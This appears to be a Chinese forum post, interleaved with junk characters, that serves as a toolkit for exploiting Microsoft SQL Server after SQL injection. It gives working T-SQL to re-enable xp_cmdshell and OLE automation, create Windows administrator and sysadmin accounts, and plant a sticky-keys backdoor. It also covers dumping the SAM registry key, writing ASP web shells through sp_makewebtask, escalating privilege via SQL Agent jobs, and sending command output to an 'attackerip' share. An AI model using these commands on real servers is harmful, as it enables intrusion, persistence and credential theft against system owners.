1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
, ^4 w' v% x: p$ E: C5 e恢复方法:查询分离器连接后,
9 r- p5 R, F/ e+ B% D& a第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int , A1 ]6 z( h! k
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
% e: A: D0 |3 e* q然后按F5键命令执行完毕4 B( Z) R( z) \/ C' d6 Q/ s
3 m; \- Z! W/ V. B# f L
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)0 D6 A# D9 A1 r) `" f$ x
恢复方法:查询分离器连接后,
9 k- U! G3 k4 a) `' Z2 C( S第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
6 g* a3 X& R$ E- U& P" U第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' z: ^1 ] O& ~0 V! f
然后按F5键命令执行完毕/ [$ ^8 _6 I U
+ w! C0 S* M% u9 p8 N9 r) U$ f
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
f# g( F- F- C5 \3 }1 {" F恢复方法:查询分离器连接后,
% i; a: t7 `8 |1 b! G* S+ i( d第一步执行:exec sp_dropextendedproc 'xp_cmdshell'- N) W/ H$ B! a! k, _* Z
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' ' a+ ?6 p% r7 |9 a
然后按F5键命令执行完毕
7 [: |2 B" l! k& c9 t. C# r! G+ `0 Q. x
4 终极方法.8 {& f2 N. p# l, ~- O' x: U$ z$ X
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户: |- O8 r/ E1 _; V- ?# J# t3 [
查询分离器连接后,5 M0 o1 ]; _" l- h' m
2000servser系统:2 O! n: ]' @& S+ J0 r& j
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
. D8 a. L% }$ ?) U' _% e( ]6 r* A/ j$ a$ E
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'; n" O! i+ B" |$ P6 e! V6 _# }) O
4 Z5 C- ]+ ]4 D' Yxp或2003server系统:
2 p4 @- P: D6 k- K% n0 E2 l& _1 ?
5 w- g% z( e! x7 |- a; a% @declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
: g; K' L8 V! g9 n. s& i' K G* @' U1 Z# w
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'$ I+ P$ }4 u+ s: V1 v, h0 N
6 Q; e- {* X7 C$ p- t
+ j P! d: }- O- x6 m
五个SHIFT
9 Y* z0 L4 n# Q$ Y- _' `2 bdeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';& Y( R5 ?4 {! Q% _5 c/ o/ _0 }
1 Q- G* d) H! b7 qdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe'; : i/ F7 k4 p( { Y/ E# m, A& }0 K
; k8 k# _. P5 @& {) qxp_cmdshell执行命令另一种方法, g- X4 v# p7 E( a/ R; ]. T
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
/ a" Q5 t2 k6 B: Z2 |. l) b
( x, d5 `$ I2 D2 F; R2 M判断存储扩展是否存在0 r/ b1 T# ]+ N; W# W5 N7 O/ S
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
9 @& P" I$ }. \2 K6 \返回结果为1就OK' v3 d. v3 P' R0 [
c ], R1 ]- @6 m+ i1 E
6 {' z. b" X: G$ C上传xplog70.dll恢复xp_cmdshell语句:; Q5 E; O5 g. C$ Z% v) ~
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'( K& }4 w# @/ i$ F* u5 H, O* p7 c
/ f2 `: u! e' w' o7 [& Z8 U4 I8 y
否则上传xplog7.0.dll
1 a& N" w/ p4 P, U. p. kExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'6 Y) i3 r8 w6 m+ A% k( _+ Y; s
( E$ \ m- C$ e: T. |0 [8 I: C0 E$ F7 q f" D0 S
% K+ d- ]- }9 {8 A6 `/ ^3 z& Y4 q, r首先开启沙盘模式:
: D5 p0 U2 m5 A2 Fexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
- f7 U! [* M) {8 z- E; Z" @) }1 q9 @" w
然后利用jet.oledb执行系统命令
, f9 o- q) C5 d. ?" lselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
9 h, n, q3 b# s" M) n# _: J* k5 m; C返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了 b) _/ d4 V# ~" G
B4 E6 ?- W0 j8 T
6 x3 r3 b/ t, Z3 ]9 a9 ~
/ q2 h% K& z% Y# j# v+ M7 Y4 w! H% \恢复过程sp_addextendedproc 如下:
1 u. r! M! ?% vcreate procedure sp_addextendedproc --- 1996/08/30 20:13
. T% z$ x m/ u@functname nvarchar(517),/* (owner.)name of function to call */
' A5 X0 u) g l& e2 Q@dllname varchar(255)/* name of DLL containing function */ 8 v% Q s) w! a P3 J; f, U
as
' }0 I5 r, C6 k0 mset implicit_transactions off
# h9 a# d0 g+ I9 S" O0 c1 Oif @@trancount > 0 2 V# x8 W( C; c( h# }* ]
begin
, u4 s8 c1 H2 p* q0 A( r# L7 I- v5 ~% qraiserror(15002,-1,-1,'sp_addextendedproc') # g( D& J7 t4 |4 T' T1 _. N& Y
return (1) , z; r. @, `- V, U7 Z3 d, ]
end . w: D; d0 R' S4 E& Q; j/ K1 k' K: P
dbcc addextendedproc( @functname, @dllname) \% |, C! ]; b' Z7 [( j
return (0) -- sp_addextendedproc $ R' f8 T! R/ y/ a+ q Q' x" ~
GO r9 u b: o: I2 U# ]% a8 S* h
5 g2 ~/ p& l" ~& F/ N' B" G# H
6 l$ r' U( Q: x: S
% J& ?, L- g$ S导出管理员密码文件
! o; f* X# O! C) }3 K. Jsa默认可以读sam键.应该。
5 o1 @7 F* B5 X0 x* J3 ~' u& Nreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
3 d: c3 J/ D2 B( [# j0 F1 Inet user administrator test" J' P$ M0 I9 D) _2 |2 v2 ]
用administrator登陆.
0 ~, n! ~2 b$ @6 S" a( M. }用完机器后/ R9 c" u0 @8 {- c4 g- T# O( s) Q
reg import c:\test.reg
7 c) x" _( F4 u0 B2 I根本不用克隆.
6 O0 a) t9 \$ c6 p1 W& @% _找到对应的sid.
& i/ T" d0 c% O/ j( Z6 N
]5 k. _% p; ^6 D; P
: {! @' `. D D9 f5 S! y2 Y7 f+ Y5 h( y S) i
恢复所有存储过程
# p4 u8 n! r8 { g( A7 euse master
7 V( } q* @/ C4 O$ g+ vexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
( i6 T; d" b) S; T7 gexec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
: Q7 ^" L0 j/ k M7 z# t( {exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
% E* c" d8 P; U6 L, g! yexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' - N4 }, _' B6 @1 I
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
6 l) T, P. M8 X! o9 K% r0 Iexec sp_addextendedproc sp_OACreate,'odsole70.dll' 9 a+ j, H$ ?" B. I# b4 z) O
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' $ c& ~1 ^' A7 c) {! L
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' 1 O2 F8 n) O1 o" j: L- l% Y; k1 j
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
8 w& p2 Y2 a: [1 M! h6 ]exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
$ S/ o2 S$ \- }( I& t; ^5 D; cexec sp_addextendedproc sp_OASetProperty,'odsole70.dll' 5 R2 ^ T8 ^3 ~2 c
exec sp_addextendedproc sp_OAStop,'odsole70.dll' ! [, b! D1 t9 c: ^$ ^ J
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' * A; S* b8 d6 u
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 2 M% [$ T7 w, B0 n8 o
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 2 h a, O, q9 l u7 a
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
, ^8 F) j8 `. ]+ z' B% g S, c& Lexec sp_addextendedproc xp_regread,'xpstar.dll'
' n) g9 z' o+ K4 |exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
8 |7 o' E( [' j. J. e [, W& Jexec sp_addextendedproc xp_regwrite,'xpstar.dll' ! `' m& D& Q+ _4 U3 X, N' e
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'6 c! O- |* s: x$ X
! ?/ |- ?& c3 Q5 i/ d7 s/ r
8 o% o3 Q0 a* R7 m3 h3 ]4 V: m3 H1 b
建立读文件的存储过程" X( L' X, P# _3 R% s5 d
Create proc sp_readTextFile @filename sysname
1 ?( f" z1 U( ~. u, h: S1 kas
" T6 o* S# x% C$ m
5 W7 |: p5 i+ r5 e! M1 ~: P begin
9 k( a. K# J7 c set nocount on
2 q A0 X( M3 K2 Z. J: X Create table #tempfile (line varchar(8000))
6 y/ p: h; c; [ exec ('bulk insert #tempfile from "' + @filename + '"')) X$ [* a! ~' S# \5 r; e
select * from #tempfile
' h8 e$ \1 n/ q; E: y) q ~5 \ drop table #tempfile
/ k. m6 C0 [) C" rEnd5 K, z2 {4 \5 q5 x+ w7 R4 {
) Z, M4 ?' D5 n3 R) V6 V2 N# ^
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件/ j* i: t) Q5 V, W! k/ o
查看登录用户1 ?6 G+ I% C) Y
Select * from sysxlogins1 k1 \1 g/ r$ O2 |! l! j
0 O" B9 O* ]! I2 H8 r* H4 m
把文件内容读取到表中, \8 E$ h' ~1 g( O' V
BULK INSERT tmp from "c:\test.txt"- v5 D1 h+ @9 ~! x* y# h. O! X+ B
dElete from 表名 清理表里的内容* C; Z" C# ?3 P0 g2 x, h( z
create table b_test(fn nvarchar(4000));建一个表,字段为fn
: M2 |2 ^: I/ R& ?
}) ~9 e1 d& _1 e/ q# ~* F
! w* F/ \( u- f- H加sa用户5 m- m% @8 q& A1 F
exec master.dbo.sp_addlogin user,pass;( k$ D: l4 v( o0 A. W
exec master.dbo.sp_addsrvrolemember user,sysadmin% g/ S% E& e+ k/ Q. K
+ @7 x W+ U$ L# ~4 i3 }( n4 @
" p2 y1 W# Y2 v% s* F& b6 j# `: _9 @
+ \. X6 S7 u- D* ^6 |读文件代码 H' |# x& ]. t# I: W
declare @o int, @f int, @t int, @ret int9 o5 }: \ |2 }: c' T/ \: Q1 {
declare @line varchar(8000)# ]- M# S/ _* I2 m( z
exec sp_oacreate 'scripting.filesystemobject', @o out) O! I2 S% L) i. D
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
( A. [* b" y0 H% g4 @3 Wexec @ret = sp_oamethod @f, 'readline', @line out
; T( b- c5 Z5 |! Uwhile( @ret = 0 )
7 o3 P$ D* E$ J7 A, S- [- Ibegin- D3 s/ N# {9 A# D" T3 Y% [
print @line8 Y% {& z M6 l" w+ J Z$ Q
exec @ret = sp_oamethod @f, 'readline', @line out
/ G8 u" ]- t2 `; j3 p$ {0 ?end
* w3 w, a2 Z7 H% A- e/ p, ~7 a
& x% I) H5 ^! ?0 x9 s, W) G# \) {, t# O4 a( }. k1 K
写文件代码:, b0 g5 Q7 p. n5 z! T% k4 N
declare @o int, @f int, @t int, @ret int; l+ w& y" f4 W! O# E# O( N( w$ n. c
exec sp_oacreate 'scripting.filesystemobject', @o out+ T1 t. Z+ h: w% s+ o( v0 b
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1- `! c# u$ p& Q
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
/ ?+ H. L* ^3 _$ p
3 _. k, e% y3 C7 E+ i G
& @; X$ w; l9 C1 Q( d% Z添加lake2 shell6 b8 v# @1 q9 |' I ^; X$ ~
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'0 P8 O/ G2 U: k% {. x
sp_dropextendedproc xp_lake2
, `4 X( i! u) YEXEC xp_lake2 'net user'
/ R* Z: H( U7 [ E5 `3 L5 N) u( G/ ]0 I4 `' |5 r' X
' G3 r$ [1 r6 D/ l
得到硬盘文件信息
C' l) H( _( A- X9 i! H--参数说明:目录名,目录深度,是否显示文件 , `7 H$ |' R. _( y3 t! C, O& V
execute master..xp_dirtree 'c:'
' h2 g0 R0 E3 Y" P$ K8 xexecute master..xp_dirtree 'c:',1
O7 d6 h6 q/ |% p9 X& I5 h. pexecute master..xp_dirtree 'c:',1,1
, p7 X) r2 Z6 @3 g ?% q" Z" l0 Y! ~ T; D' H& @4 O5 g7 [
% y# _" o. {9 N7 B+ E读serv-u配置信息8 ^! P6 h) K9 H. U p* ?0 m
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
" X$ l* J& _) d9 J9 z v- Mexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
! ?' n+ |$ _9 u0 {- X
( r5 y: d0 h8 V通过xp_regwrite写SHIFT后门
' G0 U8 _ m* |6 cexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
+ i7 \4 v. \5 x7 K [" j" p! R P9 s- w: Z/ v9 _% S" N \
^& p" j) u2 R0 a
' S5 t# Y- P% O1 j; M8 S Q3 B/ v8 I
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';6 u# ^- I; g( w0 z& d8 e
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
4 X+ x8 p! M5 h( Q4 [1 { j/ q. T8 T4 E C$ }7 k
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表', m( c* d- _3 a4 a
# }7 V9 m% q1 B; X) F, c/ R2 T L
0 R V. ^5 h, @" g& [8 T; }: V m# z, Q" M8 t; ` L2 c
sql server 2005下开启xp_cmdshell的办法
- @% J8 S( ^# P% f) Q5 R# t- T5 G4 a* B' t3 g
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;9 C. p# y5 z4 s+ J( P- }1 x
, ?! |- d c6 q+ I1 v, R! G
SQL2005开启'OPENROWSET'支持的方法:6 i/ V1 P8 r2 b' x! v% k+ j3 o
/ H$ N/ o* W2 Gexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;7 G& z# P4 T: N2 o& O) M
* h& h( |0 b' x7 T, C2 ?
SQL2005开启'sp_oacreate'支持的方法:
Z- M5 S. _. W8 O
- _1 ?7 c3 T. M9 q/ s& f2 J0 X; yexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;- W1 i: V8 B6 J: J3 x0 T1 v5 s
5 Z) B2 y4 Y; X- l* E" z
0 }. c+ B* {% P( u6 i6 j
+ R' ]# k1 {* c6 ~( v: T
1 s& k9 V9 z7 \8 ?# A6 a) @2 D0 ~9 ?) Q( `8 R) P
- n- V& M+ x z* H# O/ D F+ t) s
. e6 f2 y+ D. |2 ^% J5 v
( ^: Y4 _# Y1 e1 K' f7 Z: {& M: f
6 |1 w0 C' l6 z L% V! K
% A" A. h. L6 j( i$ Q5 k/ @& k( c7 q X
4 I5 S2 E, @' k- t" ~/ n0 o5 l
[. x/ v6 A$ c: p; V. w/ i$ ^- Z, N4 |: l( I
; w# P( W3 @) x7 P6 C& ~: R- H- h
9 q$ n) K2 A' A6 `
7 U7 F2 n1 b+ W7 b( n' l* u
4 v; j1 v" L7 H8 y% Y, \! G q: x' p- S& e( i4 r6 U8 m
: u/ O" w4 X( a6 O
" E9 c+ y. D& E" |& H' v) { q% M0 o) _7 F/ i
7 n/ X7 F' A2 r
3 z$ w! P% {/ H/ }) J8 {. x以下方面不知道能不能成功暂且留下研究哈:
+ {4 J, a. c: S, s0 O. V3 k4)
/ [' ^% q4 Z6 j* f. c. Q! m) Wuse msdb; --这儿不要是master哟
3 X7 D" M5 s/ Eexec sp_add_job @job_name= czy82 ;) ?% s# E8 h7 g+ k9 M4 l& w
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;9 b# B, V5 J7 n, r! d8 U
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
; A( x. g$ a% |7 `' rexec sp_start_job @job_name= czy82 ;' e- |/ c R3 f2 O) J- b1 i
1 |2 n' _4 p9 ^( J利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
% W, d( J8 J; u$ `/ K7 J执行tsql语句了.
$ N. I% O) ?/ \$ [" q* V9 |! D( f对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
& q9 `& n7 _" B8 r* N' Z第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)2 f2 e! f5 |& t6 b0 b7 Q" g
net start SQLSERVERAGENT
] g' X% Q% E2 ^7 P( M0 V5 H- V$ w$ w$ g( q
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的$ g; B5 V/ I* P1 w- [
USE msdb
) W( o" g- c: |$ ]" aEXEC sp_add_job @job_name = GetSystemOnSQL ,. x* }! v1 M6 x, o3 k( S! y
@enabled = 1,/ Q5 X$ C4 u' n4 O5 w0 F! ^* J
@description = This will give a low privileged user access to
! V# w- D- j+ o7 Y9 I9 Sxp_cmdshell ,
' U j, P7 I p/ D@delete_level = 10 e7 n4 ^, W7 y; m/ ~0 B9 }
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,5 x1 Z, z% U! {# T
@step_name = Exec my sql ,
& x. @0 o( Q8 i3 m& `- E; O6 J a8 c@subsystem = TSQL ,. }3 g0 ^) v( I( `" A- O# G
@command = exec master..xp_execresultset N select exec1 `4 c7 Q( {7 \. [+ J% X9 ^
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 5 K9 F+ _; {+ R5 Y5 U+ D0 Y
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
Y5 J! j/ e" ?2 w& U@server_name = 你的SQL的服务器名
9 ^% D2 `7 j9 J3 l" e; {EXEC sp_start_job @job_name = GetSystemOnSQL
) f" k; Z- A+ W* r, P5 `8 Q5 o
1 j/ K( L' j4 w不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
' y( n, ~+ o6 q3 I. C. D5 O才让我们可以以public执行xp_cmdshell# N, J! ]. K, K; f6 Z& q* i
; R" b4 o! ~% z* A/ w* z- m5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以). s4 [9 f* r6 z
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
6 P0 d5 r/ I/ |. k! O4 Y- h. n( e$ V0 F6 y0 t9 n" z8 |
USE msdb
0 n: U' r* s) vEXEC sp_add_job @job_name = ArbitraryFilecreate ,' Z5 z- {1 }' B* J- M$ m3 c
@enabled = 1,0 N) `7 S Y. V7 R) I
@description = This will create a file called c:\sqlafc123.txt ,
8 c4 j2 Z, x- K( m1 O. J8 f- r@delete_level = 1% ?# `1 A0 @% }( q9 _
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
# `7 R* h: z; l1 d9 B/ W@step_name = SQLAFC ,- \8 u' `$ g8 g' ~
@subsystem = TSQL ,
7 v0 S( ~' p- ~5 l% o) y9 D$ E@command = select hello, this file was created by the SQL Agent. ,
5 X! ^& s, I. A5 W@output_file_name = c:\sqlafc123.txt
% z- I8 v. v% x- I/ b n8 U! tEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,0 z' P. M6 `' |, x
@server_name = SERVER_NAME
+ c6 l$ \! v% I6 T% Y6 z0 P9 SEXEC sp_start_job @job_name = ArbitraryFilecreate
, U# [# F$ y% O7 `2 f/ ^ |0 v* }
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
$ k4 M3 R* e+ k6 T
2 z' P9 X& Y$ t??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19* s/ H/ t: C% @# \5 }1 A2 m
----------------------------------------------6 O1 `3 ~$ l% l# T; [
hello, this file was created by the SQL Agent.
9 i. S Y/ W3 X9 w* P* J8 @: b" U: L$ M- f! s# Q: @* Z+ U9 t
(1 ?????)
& J- e- S! f2 M+ x, H9 W6 I
4 I) z. y" a! D$ C1 w所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员; P8 e7 v3 t6 p/ q' y, G& b- J
命令的vbs文件到启动目录!
0 S; V8 h1 |9 [1 P0 z' K2 O( A* n0 E2 p U1 B$ |4 Q6 D
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)* B2 J# Z& K4 G7 ^
关于sp_MScopyscriptfile 看下面的例子' L4 W3 D7 p& z: X9 o
declare @command varchar(100)
& G2 R [& l# } Udeclare @scripfile varchar(200)
/ o; c( m+ j( g! [. P) hset concat_null_yields_null off
1 v- f. v$ j8 Nselect @command= dir c:\ > "\\attackerip\share\dir.txt"
/ Z8 O4 c. f# [: bselect @scripfile= c:\autoexec.bat > nul" | @command | rd " 3 K/ s4 a: z* i$ @9 ]& t. x5 _
exec sp_MScopyscriptfile @scripfile , ! k A G$ I+ |$ P
9 B6 u% w4 n3 `: |4 D p: a3 A
这两个东东都还在测试试哟
3 `& G0 B' |5 f6 D/ ^让MSSQL的public用户得到一个本机的web shell 7 D. |* B8 y0 Z
6 T' }- J9 `/ q2 n. B; m" hsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,- T2 D$ k: U$ ` d& t
--@query= select <img src=vbscript:msgbox(now())>
7 F) `% x- w7 p- ?8 R; o' O--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%> 3 J4 \2 Y9 e+ @. w3 r
@query= select
0 u2 H H2 _$ w8 M<%On Error Resume Next 0 p- t" s& d' N& p. l
Set oscript = Server.createObject("wscript.SHELL")
1 T& ^9 k& \ g! I, t' F& {! ~Set oscriptNet = Server.createObject("wscript.NETWORK")
( I' H- t9 k) RSet oFileSys = Server.createObject("scripting.FileSystemObject")
& J) b* z4 y" i& h2 @ Z4 cszCMD = Request.Form(".CMD") % z. j( l6 b0 C. u! e& C5 s. J
If (szCMD <>"")Then & }7 z) F8 A! ^/ i1 o
szTempFile = "C:\" & oFileSys.GetTempName()
8 c9 A6 ` M2 o6 I) @" WCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
& v. ~- Z5 d4 W* r. mSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) # Q! ]% S( I2 Q$ t
End If %>
; C. y% X$ }4 y<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST"> ( k# S( x7 C* r! |/ S' f
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
# ]' W$ M! _- t- {/ d. D6 f9 i</FORM>< RE> 0 o8 N5 y+ G/ D" ?* M! |, h
<% If (IsObject(oFile))Then 4 p* p5 w, P8 N" Y9 K, _
On Error Resume Next
. f, l0 ^) o$ l6 dResponse.Write Server.HTMLEncode(oFile.ReadAll) " r6 L: _ t) t
oFile.Close
" ?7 m5 {& U3 a3 I; |/ [Call oFileSys.deleteFile(szTempFile, True)
) N' q4 K+ W: i# `2 @& Y# [End If%>
# C8 O; i1 y% F( A3 P</BODY></HTML>
1 F; P6 g0 Q" ^ W |